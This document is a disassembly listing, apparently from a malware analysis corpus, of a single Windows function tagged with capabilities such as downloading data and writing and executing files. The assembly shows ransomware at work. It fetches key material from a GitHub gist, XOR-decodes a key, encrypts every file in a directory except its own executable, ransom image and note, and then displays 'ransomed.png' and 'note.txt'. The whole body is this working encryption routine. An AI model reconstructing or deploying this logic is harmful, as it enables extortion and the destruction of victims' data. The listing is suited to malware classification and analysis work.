Function at 0x140001717
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x448
lea rbp, [rsp + 0x80]
call fcn.140003360
mov dword [rbp + 0x3b4], 0
mov dword [rbp + 0x394], 0x1c
mov eax, dword [rbp + 0x394]
add eax, 0x20
mov dword [rbp + 0x390], eax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
jne 0x14000179e
lea rcx, str.Failed_to_open_Internet_connection_n
call fcn.140001550
mov eax, 1
jmp 0x140001ddb
mov rax, qword [rbp + 0x388]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.https:__gist.github.com_jsdario_6d6c69398cb0c73111e49f1218960f79_raw
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x380], rax
cmp qword [rbp + 0x380], 0
jne 0x14000180f
lea rcx, str.Failed_to_connect_to_the_server_n
call fcn.140001550
mov rax, qword [rbp + 0x388]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x140001ddb
lea rcx, [rbp + 0x32c]
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x380]
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov rax, qword [rbp + 0x380]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x388]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp + 0x120]
lea rdx, [0x14000b0c9]
mov rcx, rax
call sub.msvcrt.dll_strtok
mov qword [rbp + 0x3b8], rax
jmp 0x1400018cd
mov eax, dword [rbp + 0x3b4]
cmp eax, dword [rbp + 0x394]
jl 0x1400018ae
mov eax, dword [rbp + 0x3b4]
sub eax, dword [rbp + 0x394]
mov ecx, eax
mov rax, qword [rbp + 0x3b8]
movzx edx, byte [rax]
movsxd rax, ecx
mov byte [rbp + rax + 0x100], dl
add dword [rbp + 0x3b4], 1
lea rdx, [0x14000b0c9]
mov ecx, 0
call sub.msvcrt.dll_strtok
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x1400018e5
mov eax, dword [rbp + 0x3b4]
cmp eax, dword [rbp + 0x390]
jl 0x14000187e
movabs rax, 0x2847440128473928
movabs rdx, 0x28044719461b471a
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
mov qword [rbp + 0x3a8], 0
jmp 0x140001948
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x3a8]
add rax, rdx
movzx eax, byte [rax]
xor eax, 0x77
mov edx, eax
lea rcx, [rbp + 0xf0]
mov rax, qword [rbp + 0x3a8]
add rax, rcx
mov byte [rax], dl
add qword [rbp + 0x3a8], 1
cmp qword [rbp + 0x3a8], 0xf
jbe 0x140001914
mov qword [rbp + 0x3a0], 0
jmp 0x140001990
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
movzx eax, byte [rax]
mov edx, eax
lea rcx, [rbp + 0xd0]
mov rax, qword [rbp + 0x3a0]
add rax, rcx
mov byte [rax], dl
add qword [rbp + 0x3a0], 1
cmp qword [rbp + 0x3a0], 0x1f
jbe 0x14000195f
mov qword [rbp + 0x398], 0
jmp 0x1400019d6
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x398]
add rax, rdx
movzx eax, byte [rax]
lea rcx, [rbp + 0xc0]
mov rdx, qword [rbp + 0x398]
add rdx, rcx
mov byte [rdx], al
add qword [rbp + 0x398], 1
cmp qword [rbp + 0x398], 0xf
jbe 0x1400019a7
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0xd0]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.14000211f
lea rcx, [0x14000b0cd]
call fcn.140004390
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x140001d1a
lea rcx, str.Error_opening_directory
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x140001ddb
mov rax, qword [rbp + 0x370]
add rax, 8
lea rdx, [0x14000b0e7]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x358], rax
lea rax, str.favela_ransom.exe
mov qword [rbp + 0x350], rax
lea rax, str.ransomed.png
mov qword [rbp + 0x348], rax
lea rax, str.note.txt
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x370]
lea rcx, [rax + 8]
mov rax, qword [rbp + 0x350]
mov rdx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001d1a
mov rax, qword [rbp + 0x370]
lea rcx, [rax + 8]
mov rax, qword [rbp + 0x348]
mov rdx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001d1a
mov rax, qword [rbp + 0x370]
lea rcx, [rax + 8]
mov rax, qword [rbp + 0x340]
mov rdx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140001d1a
cmp qword [rbp + 0x358], 0
je 0x140001d1a
mov rax, qword [rbp + 0x358]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp + 0x33c], eax
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sub.msvcrt.dll_rewind
mov eax, dword [rbp + 0x33c]
add eax, 1
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x330], rax
cmp qword [rbp + 0x330], 0
je 0x140001d0b
mov eax, dword [rbp + 0x33c]
movsxd rdx, eax
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x330]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov eax, dword [rbp + 0x33c]
and eax, 0xf
test eax, eax
je 0x140001c59
mov eax, dword [rbp + 0x33c]
movsxd rdx, eax
lea r8, [rbp - 0x50]
lea rcx, [rbp - 0x48]
mov rax, qword [rbp + 0x330]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.14000165c
test eax, eax
jne 0x140001bdc
lea rcx, str.Error_padding_buffer_n
call fcn.140001550
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x140001d1a
mov rax, qword [rbp - 0x50]
mov rcx, rax
mov rdx, qword [rbp - 0x48]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140003069
mov rax, qword [rbp + 0x358]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x50]
mov rcx, rax
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp + 0x358]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 0x48]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
jmp 0x140001cba
mov eax, dword [rbp + 0x33c]
movsxd rcx, eax
mov rdx, qword [rbp + 0x330]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140003069
mov rax, qword [rbp + 0x358]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov eax, dword [rbp + 0x33c]
movsxd rdx, eax
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x330]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x358]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov eax, dword [rbp + 0x33c]
movsxd rdx, eax
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x330]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp + 0x378]
mov rcx, rax
call fcn.1400045d0
mov qword [rbp + 0x370], rax
cmp qword [rbp + 0x370], 0
jne 0x140001a34
mov rax, qword [rbp + 0x378]
mov rcx, rax
call fcn.140004810
lea rax, str.ransomed.png
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, str.note.txt
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x360]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.notepad.exe
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x448
pop rbx
pop rbp
ret